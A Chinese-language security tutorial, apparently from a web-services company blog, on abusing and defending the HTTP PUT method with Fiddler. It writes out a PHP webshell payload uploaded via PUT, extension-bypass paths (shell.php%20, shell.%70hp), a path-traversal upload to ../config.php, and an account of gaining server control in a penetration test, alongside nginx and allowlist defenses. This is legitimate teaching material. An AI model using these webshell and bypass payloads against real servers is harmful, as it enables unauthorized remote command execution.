☰
HTTP PUT方法安全分析与Fiddler抓包实战
2026/11/2 6:00:41 网站建设 项目流程

1. HTTP协议安全实验概述

在Web应用安全领域,深入理解HTTP协议的工作原理和潜在风险是每个安全从业者的必修课。本次实验将聚焦HTTP协议中PUT方法的上传机制,结合Fiddler抓包工具进行实战分析。不同于常规的GET/POST方法讨论,PUT方法因其直接修改服务器资源的特性,往往成为安全测试中的重点对象。

我曾在一个电商平台的安全评估中发现,开发人员无意中开启了PUT方法且未做任何权限校验,导致攻击者可以直接上传WebShell控制服务器。这个案例让我意识到,对HTTP方法的深入理解不能停留在表面。通过本次实验,你将掌握:

  • HTTP PUT方法的安全特性分析
  • 使用Fiddler进行请求构造和流量分析
  • 文件上传漏洞的检测方法
  • 实际渗透测试中的技巧应用

2. HTTP PUT方法深度解析

2.1 PUT方法规范与实现

根据RFC 2616标准,PUT方法用于向指定URI传输资源表示。与POST方法不同,PUT具有幂等性——多次相同请求产生的结果一致。在服务端实现上,典型的PUT请求处理流程如下:

  1. 客户端发送PUT请求到/resources/item1
  2. 服务器检查目标URI是否存在
  3. 不存在则创建新资源,存在则完全替换
  4. 返回201(Created)或200(OK)状态码
PUT /uploads/test.txt HTTP/1.1 Host: example.com Content-Type: text/plain Content-Length: 15 This is a test.

2.2 常见安全隐患

在实际应用中,PUT方法可能引入以下风险:

  1. 未授权访问:未验证用户权限直接处理PUT请求
  2. 目录穿越:未过滤../等特殊字符导致文件上传到非预期目录
  3. 类型混淆:仅依赖Content-Type头未做实际文件内容校验
  4. 资源耗尽:未限制上传文件大小导致磁盘空间攻击

关键提示:Apache服务器默认配置允许PUT方法,但需要配合DAV模块。Nginx默认禁用PUT方法,需要显式配置dav_methods PUT;才会启用。

3. Fiddler抓包实战配置

3.1 基础环境搭建

  1. 下载安装Fiddler Classic(最新版为v5.0.20211)
  2. 配置HTTPS解密:
    • Tools > Options > HTTPS
    • 勾选"Decrypt HTTPS traffic"
    • 安装根证书到受信任的根证书颁发机构
  3. 验证代理设置:
    • 默认监听8888端口
    • 确保WinINET代理已正确配置
# 快速检查代理配置 netsh winhttp show proxy

3.2 手机端抓包技巧

针对移动端测试的特殊配置:

  1. 确保PC和手机在同一局域网
  2. 手机WiFi设置手动代理:
    • 主机:PC的IP地址
    • 端口:8888
  3. 手机安装Fiddler根证书:
    • 访问http://<PC_IP>:8888
    • 下载FiddlerRoot证书
    • 在系统证书存储中安装

常见问题:Android 7+需要额外配置网络安全性策略才能识别用户安装的CA证书。iOS需要在"关于本机-证书信任设置"中启用完整信任。

4. PUT上传漏洞实战分析

4.1 基础漏洞检测

使用Fiddler构造测试请求:

  1. 打开Composer标签页
  2. 选择PUT方法
  3. 输入目标URL(如http://test.com/uploads/shell.php)
  4. 添加恶意文件内容:
    <?php system($_GET['cmd']); ?>
  5. 执行请求并观察响应

4.2 高级绕过技术

当遇到基础防护时,可尝试以下技巧:

  1. 路径混淆:

    PUT /uploads/shell.php%20 HTTP/1.1 PUT /uploads/shell.php. HTTP/1.1
  2. 编码绕过:

    PUT /uploads/shell.%70hp HTTP/1.1
  3. 请求头污染:

    PUT /uploads/shell.jpg HTTP/1.1 Content-Type: image/jpeg X-Real-Content-Type: application/x-php

4.3 自动化测试方案

将以下脚本保存为put_test.js并导入FiddlerScript:

static function OnBeforeRequest(oSession: Session) { if (oSession.uriContains("test-upload")) { oSession.utilCreateResponseAndBypassServer(); oSession.responseCode = 200; oSession.oResponse.headers.HTTPResponseCode = 200; oSession.oResponse.headers.Add("Content-Type", "text/plain"); oSession.utilSetResponseBody("PUT Test Response"); } }

配合过滤规则实现自动化测试:

  1. 设置过滤器仅显示目标域名流量
  2. 使用AutoResponder模拟各种响应场景
  3. 通过命令行批量执行测试用例:
    PUT http://test.com/uploads/test1.txt PUT http://test.com/uploads/../config.php

5. 安全防护方案

5.1 服务端防护

  1. 方法限制:

    location /uploads { limit_except GET POST { deny all; } }
  2. 内容校验:

    ALLOWED_EXTENSIONS = {'jpg', 'png'} def allowed_file(filename): return '.' in filename and \ filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
  3. 存储隔离:

    • 上传目录设置为不可执行
    • 使用CDN分发静态资源
    • 文件名采用随机哈希值存储

5.2 监控与审计

通过Fiddler的过滤功能建立监控规则:

  1. 检测可疑PUT请求:

    @Request.Method PUT && !@Request.Headers.Contains("Authorization")
  2. 记录异常文件类型:

    @Response.ContentType contains "php" || @Response.ContentType contains "jsp"
  3. 设置告警通知:

    • 使用FiddlerScript的MailRequest()函数发送邮件告警
    • 集成Slack等IM工具实时通知

6. 渗透测试实战案例

在某次企业授权测试中,我们发现目标系统存在以下问题:

  1. WebDAV模块意外开启
  2. PUT方法未做权限控制
  3. 上传目录与web根目录重叠

利用Fiddler构造的攻击流程:

  1. 首次探测返回405(方法不允许)
  2. 尝试OPTIONS / HTTP/1.1发现允许PUT
  3. 上传测试文件确认可执行:
    PUT /test.txt HTTP/1.1 Host: vulnerable.com Content-Length: 12 Hello World
  4. 最终上传webshell获取控制权

修复建议:

  • 立即禁用WebDAV模块
  • 配置严格的访问控制列表(ACL)
  • 对上传目录设置不可执行权限

7. 工具链扩展建议

除Fiddler外,安全测试人员还应掌握:

  1. Burp Suite:

    • 更专业的拦截修改功能
    • Intruder模块适合批量测试
    • 完善的插件生态系统
  2. Wireshark:

    • 底层网络流量分析
    • 检测非HTTP协议的风险
    • 取证调查必备工具
  3. 自定义脚本:

    import requests from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def test_put(url): try: r = requests.put(url, data='test', verify=False) return r.status_code except Exception as e: return str(e)

在实际工作中,我习惯先用Fiddler进行快速验证,确认存在风险后再用Burp Suite深入测试,最后用Wireshark进行网络层分析。这种组合能覆盖从应用层到网络层的完整测试链条。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询